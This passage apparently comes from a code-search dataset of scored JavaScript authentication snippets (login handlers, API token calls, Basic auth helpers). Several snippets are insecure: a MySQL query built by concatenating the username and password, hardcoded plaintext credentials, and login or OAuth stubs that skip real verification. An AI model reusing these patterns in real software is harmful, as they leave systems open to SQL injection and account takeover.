new Error(\"'body' is a required parameter but is null or undefined.\");\n }\n const urlPath = \"/v2/account/authenticate/apple\";\n const queryParams = /* @__PURE__ */ new Map();\n queryParams.set(\"create\", create);\n queryParams.set(\"username\", username);\n let bodyJson = \"\";\n bodyJson = JSON.stringify(body || {});\n const fullUrl = this.buildFullUrl(this.basePath, urlPath, queryParams);\n const fetchOptions = buildFetchOptions(\"POST\", options, bodyJson);\n fetchOptions.headers[\"Authorization\"] = \"Basic \" + encode(basicAuthUsername + \":\" + basicAuthPassword);\n return Promise.race([\n fetch(fullUrl, fetchOptions).then((response) => {\n if (response.status == 204) {\n return response;\n } else if (response.status >= 200 && response.status < 300) {\n return response.json();\n } else {\n throw response;\n }\n }),\n new Promise(\n (_, reject) => setTimeout(reject, this.timeoutMs, \"Request timed out.\")\n )\n ]);\n }", "title": "" }, { "docid": "f90833e6be64fb71f47e9c424f1ce505", "score": "0.53501254", "text": "function onSocketAuthSuccess(client) {\n this.authenticated = true;\n this.client = client;\n }", "title": "" }, { "docid": "301a9cd92bca9fd13cd12138fdb04e9e", "score": "0.533807", "text": "async function authenticate(data, page) {\n console.log('Authenticating on lds.org...');\n\n await page.goto(lds.login);\n await page.waitForSelector(lds.fields.login.usernameSelector);\n\n await page.type('#okta-signin-username', data.user, {delay: 20});\n await page.$eval('#okta-signin-submit', buttonElement => buttonElement.click());\n\n await page.waitForSelector(lds.fields.login.passwordScreenSelector);\n\n await page.type(lds.fields.login.password, data.password, {delay: 20});\n await page.click(lds.fields.login.passwordButton);\n\n await page.waitForSelector(lds.fields.login.passwordSelector);\n\n console.log('Authenticated!');\n}", "title": "" }, { "docid": "c0b40200387b50ce5a7e54e72317b0e1", "score": "0.5335219", "text": "async function authenticate(){\n\t\n\t// payload uuid from XUMM Login\n\tvar data = String(PayloadUUID);\n\t\n\tvar options = {\n\t\t\t method: 'GET',\n\t\t\t url: 'https://xumm.app/api/v1/platform/payload/' + data,\n\t\t\t headers: {\n\t\t\t\t 'x-api-key': apikey,\n\t\t\t\t 'x-api-secret': apisecret,\n\t\t\t\t 'content-type': 'application/json'\n\t\t\t\t \n\t\t\t\t },\n\t\t\t\t};\n\t\t\trequest(options, function (error, response, body) {\n\t\t\t if (error) throw new Error(error);\n\n\t\t\tvar jsonBody = JSON.parse(body)\n\t\t\tsigned = jsonBody.meta.resolved;\n\t\t\tLoginaddress = jsonBody.response.account;\n\t\t\t//module.exports.signed = jsonBody.meta.resolved;\n\t\t\t//module.exports.Logginaddress = jsonBody.response.account;\n\t\t\tconsole.log(\"::::::::Loginaddress::::::: \" + Loginaddress + \"::::::::Signed:::::::::\" + signed); \n\t\t\t\n\t\t\t \n\t\t\t});\n\n\t \n}", "title": "" }, { "docid": "17feaf12faa8610b323fff64d71ef1f9", "score": "0.5327335", "text": "async auth () {\n await app().fetchUser()\n }", "title": "" }, { "docid": "6c29a117130e74d7ec2425f25b4c0a97", "score": "0.5319303", "text": "function user_login(req,res){\r\n connection.query(\"SELECT * FROM users WHERE username = ?\", [req.body.username], (err, rows, fields) => {\r\n //TODO: actually authenticate users!!\r\n if(rows[0]){\r\n //success\r\n queued_users.push(req.body.username);\r\n send_game_data();\r\n req.session[\"username\"] = req.body.username;\r\n res.send(JSON.stringify({\r\n login_status: \"success\",\r\n username: req.body.username\r\n }));\r\n }\r\n else {\r\n //failure\r\n res.send(JSON.stringify({\r\n login_status: \"failure\",\r\n username: req.body.username\r\n }));\r\n }\r\n });\r\n}", "title": "" }, { "docid": "11e65198aa999b561a8ed113c7ce29bf", "score": "0.5284452", "text": "function authenticateTeam() {\n const reqURL = CONSTANTS.API_TEAM_LOGIN_URL;\n return chai.request(server)\n .post(reqURL)\n .send({\n link: '1234567',\n });\n }", "title": "" }, { "docid": "4b801787959960d55e48f18a4396748c", "score": "0.5282802", "text": "function authenticateUser(user, password)\n{\n var token = user + \":\" + password;\n\n // Base64 Encoding -> btoa\n var hash = btoa(token);\n\n return \"Basic \" + hash;\n}", "title": "" }, { "docid": "28780582c1ebd654069671b1663ac4d0", "score": "0.5277299", "text": "function login(url) {\n var s = UrlFetchApp.fetch(url + '/GoogleDataConnector.login.lims', getDefaultOptions());\n var o = JSON.parse(s);\n if (!o.valid) {\n Logger.log(\"Authentication failed for \" + options.headers.STARLIMSUser + \" on \" + url);\n }\n}", "title": "" }, { "docid": "bdebfe7390fe1178f1dbcfad406ea9a9", "score": "0.5264416", "text": "function AuthService(userStore, gameStore) {\n this.nonceReleaseTimeMs = 1000*60*5 // 5 minutes\n this.userStore = userStore;\n this.gameStore = gameStore;\n}", "title": "" }, { "docid": "3bbecff68e5d2407b768f2b4783e81f9", "score": "0.5264153", "text": "function authenticate(req, res){\n mongodb.authenticate(req, res);\n}", "title": "" }, { "docid": "67746b6c031842426e1929f4c5f97150", "score": "0.52618784", "text": "function launchApp() {\n if(user.trakt.auth) {\n debugLog('login', 'connecting existing user to trakt')\n tryLogin()\n } else {\n debugLog('login', 'no user found')\n loadLogin()\n }\n}", "title": "" }, { "docid": "69c598105b3adc7fb76adc14dae6ae66", "score": "0.5258762", "text": "function authenticate() {\r\n\tvar tokenRegex = /(\\?|%3F|&|%26)token=[^&\\?]*/gi;\r\n\tvar currentURL = document.URL.replace(tokenRegex, \"\");\r\n\tif(!stringContainsChar(currentURL, \"?\")) {\r\n\t\tcurrentURL = currentURL.replace(\"&\", \"?\");\r\n\t}\r\n\tvar redirectURL = lastFmAuthenticationUrl + \"?api_key=\" + apiKey +\"&cb=\" + currentURL;\r\n\twindow.location.href = redirectURL;\r\n}", "title": "" }, { "docid": "abe187f6ac31e6df8ef14fa16e69d941", "score": "0.52454233", "text": "async function appInit(){\n\n\tlet p = {\n\t authType: 'server',\n\t host: viyahost\n\t}\n let msg = await store.logon(p);\n let {casManagement} = await store.addServices ('casManagement');\n let servers = await store.apiCall(casManagement.links('servers'));\n let serverName = servers.itemsList(0);\n let session = await store.apiCall(servers.itemsCmd(serverName, 'createSession'));\n\t\n\tlet { identities } = await store.addServices('identities');\n let c = await store.apiCall(identities.links('currentUser'));\n\tlogged_user = c.items('id');\n\t\t\n return session;\n}", "title": "" }, { "docid": "1dd6a66489d8ca1ddf6505ed30aa8f24", "score": "0.52431864", "text": "async function login() {\n let form = $('#formLogin');\n let username = form.find('input[name=\"username\"]').val();\n let password = form.find('input[name=\"passwd\"]').val();\n\n try {\n let response = await requester.post('user', 'login', 'basic', {\n username,\n password\n });\n saveSession(response);\n showView('viewAds');\n showInfo('Successfully logged in!');\n } catch (e) {\n handleError(e);\n }\n }", "title": "" }, { "docid": "d56331ac1d56d2cfb617e539bda0818d", "score": "0.523767", "text": "function login(user) {\n\t\n}", "title": "" }, { "docid": "67802164309ba7111c40364ac458aab5", "score": "0.5234655", "text": "function init(_args) {\n\tif (!Cloud.sessionId) {\n\t\tCloud.Users.login({\n\t\t login: 'pic',\n\t\t password: 'piccy'\n\t\t}, function (e) {\n\t\t if (e.success) {\n\t\t _args.success({user : e.users[0]});\n\t\t } else {\n\t\t _args.error({error: e.error});\n\t\t }\n\t\t});\n\t}\n}", "title": "" }, { "docid": "cff2c971289fa907e5e6d4236355f53c", "score": "0.5224691", "text": "function init(_args) {\n\tif (!Cloud.sessionId) {\n\t\tCloud.Users.login({\n\t\tlogin: 'doha1',\n\t\tpassword: 'dohanews'\n\t}, function (e) {\n\t\tif (e.success) {\n\t\t\t// _args.success({user : e.users[0]});\n\t\t} else {\n\t\t\t//_args.error({error: e.error});\n\t\t}\n\t});\n\t}\n}", "title": "" }, { "docid": "ea5be15ce7f1a35d054135f8f585852b", "score": "0.52242494", "text": "function authenticate(options, cb) {\n $.ajax({\n type: 'POST',\n url: Substance.settings.hub_api + '/authorizations',\n data: {\n \"client_id\": Substance.settings.client_id,\n \"client_secret\": Substance.settings.client_secret\n },\n headers: {\n \"Authorization\": \"Basic \"+Base64.encode(options.username+ \":\"+options.password)\n },\n success: function(result) {\n if (result.status === \"error\") return cb('Login failed. Check your input.');\n cb(null, result);\n },\n error: function() {\n cb('Login failed. Check your input.');\n }\n });\n}", "title": "" }, { "docid": "4dd7e10c049d45d0aef33f2701174f53", "score": "0.5218686", "text": "function authenticateRequest(req, res, callback) {\n // Validation skipped for now\n // Adding user_id in request as auth object\n logger.debug(\"IN OAUTH\");\n req.user_id = 1932;\n callback(true);\n}", "title": "" }, { "docid": "be65fce4fb545babd15e9516c6b77d7f", "score": "0.52169085", "text": "login() {\n const username = window.prompt(\"Please enter your username:\");\n const key = window.prompt(\"Please enter your key:\");\n\n login.login(username, key);\n this.updateView();\n }", "title": "" }, { "docid": "3ead1b146616f6376217d7a950d85fd4", "score": "0.52083445", "text": "function home_oa2LoginCallback( user ){\n\tif(user && user.email && user.access_token){\n\t\tws_login1(user.email, user.access_token, home_loginCallback);\t\n\t}else{\n\t\thome_loginError(\"Login fail.\");\n\t}\n}", "title": "" }, { "docid": "441e12c2b1432f6352d0218fad031188", "score": "0.52014256", "text": "function authWithCert() {\n\tvar baseUrl, url, params;\n\n\tbaseUrl = $('#form-edit input[name=base-url]').val();\n\turl = baseUrl + '/opt/auth/cert/account/login/certificate-login';\n\tparams = {};\n\n\t$.post(\n\t\turl,\n\t\tparams,\n\t\tfunction (data) {\n\t\t\tvar block;\n\n\t\t\tif (data === null) {\n\t\t\t\t$('#certAuthBlockStatus').hide();\n\t\t\t\tblock = $('#certAuthBlock');\n\t\t\t\tblock.find('.message .content').html(\"Encountered an unknown error while doing certificate authentication\");\n\t\t\t\tblock.find('.message').show();\n\n\t\t\t\t$('#form-submit :input').attr('disabled', '');\n\t\t\t\t$('#form-submit input[name=username]').focus();\n\t\t\t} else if (data.status === true) {\n\t\t\t\twindow.location = baseUrl;\n\t\t\t} else {\n\t\t\t\t$('#certAuthBlockStatus').hide();\n\t\t\t\tblock = $('#certAuthBlock');\n\t\t\t\tblock.find('.message .content').html(data.message);\n\t\t\t\tblock.find('.message').show();\n\n\t\t\t\t$('#form-submit :input').attr('disabled', '');\n\t\t\t\t$('#form-submit input[name=username]').focus();\n\t\t\t}\n\t\t},\n\t\t'json'\n\t);\n}", "title": "" }, { "docid": "84de16160c8a7acc6ee77fa67af18d50", "score": "0.5195797", "text": "function authenticate(){\n window.location.replace(authenticationServerAuth);\n}", "title": "" }, { "docid": "a7d14377c9c201ac751f72e66ebeba66", "score": "0.51951075", "text": "function authApp(successCallback) {\n\tvar s = getSignature(); // gets signature\n\t\n\t// See more documentation on the wiki \n\t// -- http://wiki.quickblox.com/Authentication_and_Authorization#API_Session_Creation\n\tvar url = 'https://admin.quickblox.com/auth';\n\tvar data = 'app_id=' + QB.appId + \n\t\t\t'&auth_key=' + QB.authKey + \n\t\t\t'&nonce=' + s.nonce + \n\t\t\t'&timestamp=' + s.timestamp + \n\t\t\t'&signature=' + s.signature;\n\t\n\tconsole.log('[DEBUG] Authenticate specified application: POST ' + url + '?' + data);\n\t\n\t$.ajax({\n\t type: 'POST',\n\t url: url,\n\t data: data,\n\t success: successCallback,\n\t error: errorCallback\n\t});\n}", "title": "" }, { "docid": "1e3e61bb37dad5ad192848feef067b55", "score": "0.5188232", "text": "function authenticate(serverURL, password, callbackSuccess, callbackFailure) {\n\n //console.log(\"Calling authenticate to log in for \" + serverURL)\n\n axios({\n method: 'put',\n baseURL: serverURL,\n withCredentials: true,\n //params: {'password':password},\n data: JSON.stringify({ 'password': password }),\n url: \"/login\"\n })\n .then(function(response) {\n\n if (response.status === 200) {\n //console.log(\"Successfully logged in to server.\");\n return callbackSuccess();\n } else {\n console.log(\"Unsuccessful logging in to server: \" + response.statusText);\n return callbackFailure(response.statusText);\n }\n }).catch(function(error) {\n if (error.response) {\n\n var message = null;\n\n if (error.response.status === 401) {\n message = \"Incorrect password\";\n } else {\n message = error.message;\n }\n console.log(\"Error logging in to server: \" + message);\n return callbackFailure(message);\n } else {\n console.log(\"Error logging in to server: \" + error.message);\n // Something happened in setting up the request that triggered an Error \n return callbackFailure(\"No server found at URL\");\n }\n });\n}", "title": "" }, { "docid": "05b7cc51a1e13ac013cca6fa50bf8231", "score": "0.51863855", "text": "function check () {\n\t\tconst localToken = localStorage.getItem(TOKEN)\n\t\tconst localUser = localStorage.getItem(USER)\n\t\tif (localToken === null) return Promise.resolve(false)\n\t\tif (localUser !== null) return Promise.resolve(localUser)\n\t\treturn api.auth(localToken)\n\t\t\t.then(setUserCredentials)\n\t\t\t.catch(blockAuthentication)\n\n\t\tfunction setUserCredentials (whoami) {\n\t\t\tif (!whoami) throw new Error('Invalid credentials')\n\t\t\textend(user, whoami)\n\t\t\tRaven.setUserContext({\n\t\t\t\temail: user.email,\n\t\t\t\tid: user.id\n\t\t\t})\n\t\t\tuser.authenticated = true\n\t\t}\n\n\t\tfunction blockAuthentication (err) {\n\t\t\tuser.authenticated = false\n\t\t\t// Pass the error up if we're logging in\n\t\t\tif (loggingIn) throw err\n\t\t\tswitch (err.statusCode) {\n\t\t\t\tcase 401:\n\t\t\t\tcase 403:\n\t\t\t\t\trouter.redirect('/login')\n\t\t\t\t\tbreak\n\t\t\t\tdefault:\n\t\t\t\t\tthrow err\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "bc28eab32437fa715af872556b4fb17d", "score": "0.5184931", "text": "function handleLogin(request, response) {\n\tvar result = {success: false};\n\n\t// We should do better error checking here to make sure the parameters are present\n\tif (request.body.username == \"admin\" && request.body.password == \"password\") {\n\t\trequest.session.user = request.body.username;\n\t\tresult = {success: true};\n\t}\n\n\tresponse.json(result);\n}", "title": "" }, { "docid": "25c70234307fc34a49c95d06255bb2ee", "score": "0.5175409", "text": "login() {\n if (!this.API)\n return;\n this.API.redirectAuth();\n }", "title": "" }, { "docid": "0446d41207bf483fb96e3137b19f3661", "score": "0.5169927", "text": "async function login() {\n try {\n const response = await Axios.post(`/login`, { username: state.username.value, password: state.password.value }, { cancelToken: ourRequest.token });\n if (response.data) {\n //set loggedIn to true if obviously correct details\n appDispatch({ type: \"LOGIN\", data: response.data });\n appDispatch({ type: \"FLASH_MESSAGE\", value: \"You have successfully logged in\", status: \"success\" });\n // console.table(resposne.data);\n } else {\n console.log(\"Incorrect username / password\");\n appDispatch({ type: \"FLASH_MESSAGE\", value: \"Invalid username / password\", status: \"danger\" });\n }\n } catch (e) {\n appDispatch({ type: \"FLASH_MESSAGE\", value: \"We are sorry, we are experiencing technical issues\", status: \"danger\" });\n console.log(\"There was a problem, with registering the user\");\n }\n }", "title": "" }, { "docid": "0d72f17dd1363130dbbfe4c3bb604c65", "score": "0.5168479", "text": "async function appInit(){\n\n\tlet p = {\n\t authType: 'server',\n\t host: viyahost\n\t}\n let msg = await store.logon(p);\n let {casManagement} = await store.addServices ('casManagement');\n let servers = await store.apiCall(casManagement.links('servers'));\n let serverName = servers.itemsList(0);\n let session = await store.apiCall(servers.itemsCmd(serverName, 'createSession'));\n\t\n\tlet { identities } = await store.addServices('identities');\n let c = await store.apiCall(identities.links('currentUser'));\n\tciq_user = c.items('id');\n\t\t\n return session;\n}", "title": "" }, { "docid": "217f7acb83fe1ac47c3ab44b273af3a4", "score": "0.51682323", "text": "userLogin(req, res) {\r\n this.auth.userAuth(req, res)\r\n }", "title": "" }, { "docid": "4352f080a1fb933e6fda38b87bbc3ee4", "score": "0.5168226", "text": "function loginApi() {\n\tvar apiQuery;\n\n\tapiQuery = \"action=login&username=\" + Base64.encode($('#username').val()) +\n\t \"&password=\" + Base64.encode($('#password').val());\n\n\tsendApiQuery(apiQuery, '', loginApiResponseHandler);\n}", "title": "" }, { "docid": "fda380b7e2d0916a03314596f992173d", "score": "0.5167907", "text": "function login(response, username, hashedPassword) {\n var arr = rdf.query('users.ttl', 'select * where { ?s a foaf:Person; cov:username ?username; cov:password ?password. FILTER(?username = '+JSON.stringify(''+username)+' && ?password = '+JSON.stringify(''+hashedPassword)+')}')\n\n if(!arr.length) { // user not found \n return false;\n } else {\n apejs.session.setAttribute('user', arr[0]);\n\n // add a cookie\n var cookie = new Cookie(\"user\", username + ':' + hashedPassword);\n // 30 years :)\n cookie.setMaxAge(30 * 365 * 24 * 60 * 60);\n response.addCookie(cookie);\n\n return true;\n }\n\n }", "title": "" }, { "docid": "b0a0f837c6064d8693dd866d52efd26d", "score": "0.5167317", "text": "function authenticate(user, pass, callback){\n //SQL Database information -- from Web team.\n new mysql.Database({\n hostname: 'localhost',\n user: 'root',\n password: 'sawinrocks',\n database: 'db2'\n }).connect(function(error) {\n if (error) {\n console.log('CONNECTION error: ' + error);\n }\n\n //Query provided by WebUI team.\n this.query('SELECT * FROM Customer WHERE username = \\'' + user + '\\' AND (password = \\'' + pass + '\\' OR pin = \\'' + pass + '\\')').\n /*\n * Internal method from db library.\n */\n execute(function(error, rows, cols) {\n if (error) {\n console.log('ERROR: ' + error);\n callback(false);\n } else {\n\t //Authenticates successfuly if a row is returned.\n if(rows.length != 0){\n callback(true);\n } else {\n callback(false);\n } \n }\n });\n });\n}", "title": "" }, { "docid": "4af67d6be03dedd701521a27038f12ba", "score": "0.5164094", "text": "function login(username, password){\n\t\tvar dataSend = {\n\t\t\t\"account_medium\":\"basic\",\n\t\t\t\"credentials\":\n\t\t\t\t{\n\t\t\t\t \"username\":username,\n\t\t\t\t \"password\":password \n\t\t\t\t}\n\t\t\t};\n\t\t\t\n\t\t\t$.ajax({\n\t\t\t\turl: 'http://phresh-lb-1028091368.us-west-2.elb.amazonaws.com/phresh-server/user/login',\n\t\t\t\ttype: 'POST',\n\t\t\t\tdata: JSON.stringify(dataSend),\n\t\t\t\tprocessData: false,\n\t\t\t\tcontentType: \"application/json\",\n\t\t\t\theaders: {\n\t\t\t\t\t\"Content-Type\":\"application/json\"\n\t\t\t\t}\n\t\t\t})\n\t\t\t.done(function(json){\n\t\t\t\tMixPanel.track.trackUser(json.auth_token);\n\t\t\t\tMixPanel.track.generateUserEvent('user logged in');\n\t\t\t\tisLoading = false;\n\t\t\t\t$('#splashSpinner').remove();\n\t\t\t\t$('#main').data('auth_token', json.auth_token);\n\t\t\t\twindow.localStorage.removeItem('username');\n\t\t\t\twindow.localStorage.setItem('username', json.username);\t\t\n\t\t\t\tif($('#keepLoggedIn:checked').length != 0){\n\t\t\t\t\twindow.localStorage.setItem('keepLoggedIn', json.auth_token);\n\t\t\t\t} else{\n\t\t\t\t\twindow.localStorage.removeItem('keepLoggedIn');\n\t\t\t\t}\n\t\t\t\t$.mobile.changePage(\"#main\",{\n\t\t\t\t\ttransition: \"slide\"\n\t\t\t\t});\n\t\t\t})\n\t\t\t.fail(function(jqXHR, textStatus){ //ERROR\n\t\t\t\tMixPanel.track.generateUserEvent('user failed to login');\n\t\t\t\tisLoading = false;\n\t\t\t\t$('#splashSpinner').hide();\n\t\t\t\t$('#signInError').show(200);\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "df384bd09d6f494ef85825df1c172baf", "score": "0.51569897", "text": "appSignIn() {\r\n\r\n if (!msalApp) {\r\n return null\r\n }\r\n\r\n console.log('appSignIn')\r\n this.login().then( () => {\r\n if ( this.user()) {\r\n console.log('user signed in');\r\n // Automaticaly assign accessToken\r\n this.acquireToken().then (accessToken => {\r\n this.accessToken = accessToken \r\n console.log('accessToken: '+ this.accessToken); \r\n store.dispatch('auth/loginSuccess'); \r\n }); \r\n } else {\r\n console.error('Failed to sign in');\r\n store.dispatch('auth/loginFailure'); \r\n } \r\n });\r\n\r\n}", "title": "" }, { "docid": "0fed6069824c0a34985bede9f5546b0b", "score": "0.5144123", "text": "checkAuthenticated() {\n const { token, endpoint, sessionID } = this.authentication;\n this.emit('debug', `Authenticated with sessionID ${sessionID}`);\n if (token && endpoint && sessionID) {\n this.status = VoiceStatus.CONNECTING;\n /**\n * Emitted when we successfully initiate a voice connection.\n * @event VoiceConnection#authenticated\n */\n this.emit('authenticated');\n this.connect();\n }\n }", "title": "" }, { "docid": "5765c4bfb3874e701423a6821435ddf5", "score": "0.51411283", "text": "function reauthenticateUser() {\n \"use strict\";\n //// Token Request failed exception occurred, thus do not show error pop up, re-authenticate the user\n var windowLocation = window.location,\n sCurrentWindowUrl = windowLocation.protocol + \"//\" + windowLocation.host + windowLocation.pathname,\n sQueryParameter = commonFunction.AppLogEvent(\"\", false);\n sCurrentWindowUrl = sCurrentWindowUrl + \"?{StandardTokens}\" + \"?\" + oGlobalConstants.TokenRequestFailedQueryString + \"=true\" + sQueryParameter;\n //// AppRedirect page + Client ID + Redirect URI + Parameters\n window.location.href = oGlobalConstants.App_Redirect_URL + \"?client_id=\" + oGlobalConstants.ClientID + \"&redirect_uri=\" + sCurrentWindowUrl + encodeURIComponent(windowLocation.search);\n}", "title": "" }, { "docid": "fac2609b04fa066c7f1a4c4f89c16138", "score": "0.51281023", "text": "function authenticate(request, response)\n{\n var credentials = request.headers[\"authorization\"];\n\n if(credentials === undefined)\n {\n response.setHeader(\"WWW-Authenticate\",\n \"Basic realm=\\\"The Sergalio\\\"\");\n return(final.fail(response, unauthorised, \"Access denied.\"))\n }\n else\n {\n response.setHeader(\"WWW-Authenticate\",\n \"Basic realm=\\\"Secure Area\\\"\");\n var credentialsD = credentials.split(\" \");\n var credentialsDD = new Buffer.from(credentialsD[1],\n \"base64\");\n var credentialsTD = credentialsDD.toString();\n var credentialsQD = credentialsTD.split(':');\n var pw = credentialsQD[1];\n if(pw != password)\n {\n return(final.fail(response, unauthorised, \"Access denied.\"))\n }\n }\n handle(request, response);\n}", "title": "" }, { "docid": "8c24e33fd915d96e240ab5029c273038", "score": "0.5123681", "text": "authenticate() {\n if (!this.username || !this.password)\n return;\n\n let req = new XMLHttpRequest();\n let self = this;\n req.open('POST', 'https://wap.tplinkcloud.com');\n req.setRequestHeader('Content-type', 'application/json');\n\n req.onreadystatechange = function() {\n if(req.readyState == 4 && req.status == 200) {\n let response = JSON.parse(req.responseText);\n if (response && response.result && response.result.token)\n self.token = response.result.token;\n self.result = JSON.stringify(response, null, 4);\n }\n }\n\n authMessage.params.cloudUserName = this.username;\n authMessage.params.cloudPassword = this.password;\n req.send(JSON.stringify(authMessage));\n }", "title": "" }, { "docid": "17456289f4a126bddb9d893c1cbd4f91", "score": "0.5120581", "text": "function login(req, res) {\n const user = req.body;\n\n tryAuthenticate(user).then( loggedInUser => {\n svr_logger.info(`User ${loggedInUser.email} logged in successfully.`);\n \n const response = responseObj(\"Logged in successfully!\");\n response.id = loggedInUser.id;\n\n // User should be in the form of { id, email }\n response.accessToken = getAccessToken(loggedInUser);\n response.refreshToken = getRefreshToken(loggedInUser);\n \n res.json(response);\n }).catch(err => {\n if (err.constructor != Error){\n svr_logger.error(err);\n throw err; \n }\n\n res.status(401).json(errorObj(err.message));\n });\n}", "title": "" }, { "docid": "866297431b2ae29ed425de3994c95a42", "score": "0.51204455", "text": "function authenticate(user, cb){\n if(user && user.username && user.password){\n Login.authenticate($.param({username: user.username, password: user.password}), function (data, status) {\n console.log(status);\n /* Response is OK, we can store the user in cookies */\n if(data && data.firstname && data.lastname){\n $cookieStore.put(\"currentUser\", data);\n cb(true);\n }\n\n });\n }\n }", "title": "" }, { "docid": "293baf8504a0631ea442d46e7912b9b8", "score": "0.51160896", "text": "function onSuccess(googleUser) {\n console.log('Logged in as: ' + googleUser.getBasicProfile().getName());\n }", "title": "" }, { "docid": "bbdb3aa49ce92a3ba05a4e7ce7cc4b36", "score": "0.5112478", "text": "static async authenticate(data) {\n\t\t// try to find the user first\n\t\tconst result = await db.query(\n\t\t\t`SELECT id, username, firstname, lastname, email, password\n FROM users\n WHERE username = $1 OR id = $2`,\n\t\t\t[data.username, data.id]\n\t\t);\n\n\t\tconst user = result.rows[0];\n\n\t\tif (user) {\n\t\t\t// compare hashed password to a new hash from password\n\t\t\tconst isValid = await bcrypt.compare(data.password, user.password);\n\t\t\tif (isValid) {\n\t\t\t\treturn user;\n\t\t\t}\n\t\t}\n\n\t\tconst invalidPass = new ExpressError('Invalid Credentials');\n\t\tinvalidPass.status = 401;\n\t\tthrow invalidPass;\n\t}", "title": "" }, { "docid": "64e4bd0751bc6d3d4dd051d9587ee327", "score": "0.5112174", "text": "function handleUserLogin(req, res) {\n let params = req.query;\n if (params.username && params.password) {\n auth.login(params.username, params.password, (token) => {\n if (token) {\n res.send({\n succ: true,\n contents: {\n token: token\n }\n });\n } else {\n res.send({\n succ: false,\n message: \"Login failed.\",\n code: 4\n });\n }\n });\n } else {\n res.send({\n succ: false,\n message: \"Username and password not specified.\",\n code: 3\n });\n }\n}", "title": "" }, { "docid": "f5a5d2e9fe05eb038099ece5eb3be910", "score": "0.510733", "text": "function doLogin(suppressEvents) {\n\n\tabortAllRequests();\n\n\tvar uname = G.ui.login.username.value;\n\tvar passwd = G.ui.login.password.value;\t\n\n\tvar init_request = new Request( LOGIN_INIT, uname );\n init_request.send(true);\n var seed = init_request.result();\n\n if( ! seed || seed == '0') {\n alert( \"Error Communicating with Authentication Server\" );\n return null;\n }\n\n\tvar args = {\n\t\tpassword : hex_md5(seed + hex_md5(passwd)), \n\t\ttype\t\t: \"opac\", \n\t\torg\t\t: getOrigLocation()\n\t};\n\n r = fetchOrgSettingDefault(getLocation(), 'opac.barcode_regex');\n if(r) REGEX_BARCODE = new RegExp(r);\n \n if( uname.match(REGEX_BARCODE) ) args.barcode = uname;\n\telse args.username = uname;\n\n var auth_request = new Request( LOGIN_COMPLETE, args );\n\n\tauth_request.request.alertEvent = false;\n auth_request.send(true);\n var auth_result = auth_request.result();\n\n\tif(!auth_result) {\n\t\talertId('patron_login_failed');\n\t\treturn null;\n\t}\n\n\tif( checkILSEvent(auth_result) ) {\n\n\t\tif( auth_result.textcode == 'PATRON_INACTIVE' ) {\n\t\t\talertId('patron_inactive_alert');\n\t\t\treturn;\n\t\t}\n\n\t\tif( auth_result.textcode == 'PATRON_CARD_INACTIVE' ) {\n\t\t\talertId('patron_card_inactive_alert');\n\t\t\treturn;\n\t\t}\n\n\t\tif( auth_result.textcode == 'LOGIN_FAILED' || \n\t\t\t\tauth_result.textcode == 'PERM_FAILURE' ) {\n\t\t\talertId('patron_login_failed');\n\t\t\treturn;\n\t\t}\n\t}\n\n\n\tAUTHTIME = parseInt(auth_result.payload.authtime);\n\tvar u = grabUser(auth_result.payload.authtoken, true);\n\tif(u && ! suppressEvents) \n\t\trunEvt( \"common\", \"locationChanged\", u.ws_ou(), findOrgDepth(u.ws_ou()) );\n\n\tcheckUserSkin();\n\n\treturn u;\n}", "title": "" }, { "docid": "8411048cb5424ab5e5b01513787d80eb", "score": "0.5106911", "text": "function login () {\n particle.login({\n username: USER,\n password: PASS\n })\n .then((res) => {\n console.log('Connected to Particle')\n return flash(res.body.access_token)\n })\n .catch((err) => {\n console.error('Error: ', err)\n })\n}", "title": "" }, { "docid": "fce53d7c24ac8383f36e5e7f22a53548", "score": "0.51035964", "text": "handleAuth() {\n gapi.auth2.getAuthInstance().signIn()\n }", "title": "" }, { "docid": "5f7efbf15428714e94a0d324c18360a3", "score": "0.5098406", "text": "function handleAuth(response) {\n\t\t\tif (response.status === \"connected\") {\n\t\t\t\t// User has authed the app. Note the supplied details\n\t\t\t\twindow.apiExplorerGlobals.uid = response.authResponse.userID;\n\t\t\t\twindow.apiExplorerGlobals.accessToken = response.authResponse.accessToken;\n\n\t\t\t\t// Trigger angular updates\n\t\t\t\twatchGlobals.trigger();\n\n\t\t\t} else {\n\t\t\t\t// User hasn't authed, or isn't logged in\n\t\t\t\t// Try again\n\t\t\t\trequestAuth();\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "412f5bf4d80465064f93cee641e29e62", "score": "0.5092846", "text": "auth (serviceName) {\n return this.state.unifile.auth(serviceName);\n }", "title": "" }, { "docid": "f80acec3ab7b9295635f9c40d02294c9", "score": "0.50927037", "text": "async login({ params, request, response, auth }) {\n console.log('用户登录')\n const { email, password } = request.all()\n await auth.attempt(email, password)\n const user = await auth.getUser()\n response.status(200).json({\n message: 'login success',\n result: {\n username: user.username,\n id: user.id,\n email: user.email\n }\n })\n }", "title": "" }, { "docid": "fc1609db96493521fb7a0501a24d9600", "score": "0.5089485", "text": "function authenticateUser(){\n\tif(checkInputLogin()){\n\t\tuser=document.getElementById('username').value;\n\t\tpass=document.getElementById('password').value;\n\t\tvar json = JSON.stringify({\"username\":user, \"password\":pass});\t\n\t\t$.ajax({\n\t\t\ttype: \"Post\",\n\t\t\tcontentType: 'application/json',\n\t\t\turl: 'http://localhost:10770/login.html/submit',\n\t\t\tdatatype: \"json\",\n\t\t\tdata: json,\n\t\t\tsuccess: function(data){\n\t\t\t\t\t\t\tdocument.cookie = \"username=\"+data.username+'# score='+data.score +'; path=/';\n\t\t\t\t\t\t\twindow.location.href='/worlds.html';\n\t\t\t\t\t },\n\t\t\terror: function(data){\n\t\t\t\t\t\t\t$(\"#errorMessage1\").show();\n\t\t\t\t\t}\n\t\t});\n\t}\n}", "title": "" }, { "docid": "96af4d6dc94962d7ae41ee6a2f151cae", "score": "0.508879", "text": "async login(context, payload) { // nema namespace-a pa u dispatch samo stavim logn , isto je i za sign up\n return context.dispatch('auth', {\n ...payload,\n mode: 'login',\n });\n }", "title": "" }, { "docid": "8846a2366a78b3843626ac40629cd46a", "score": "0.5087373", "text": "function authenticate() {\n return gapi.auth2.getAuthInstance()\n .signIn({scope: \"https://www.googleapis.com/auth/youtube.readonly\"})\n .then(function() { console.log(\"Sign-in successful\"); },\n function(err) { console.error(\"Error signing in\", err); });\n}", "title": "" }, { "docid": "92ac3104362d0baa1d2351ce26fdc91a", "score": "0.5086359", "text": "async componentDidMount() {\n\t\ttry {\n\t\t\tlet res = await fetch(API_URL + '/isLoggedIn', {\n\t\t\t\tmethod: 'post',\n\t\t\t\theaders: 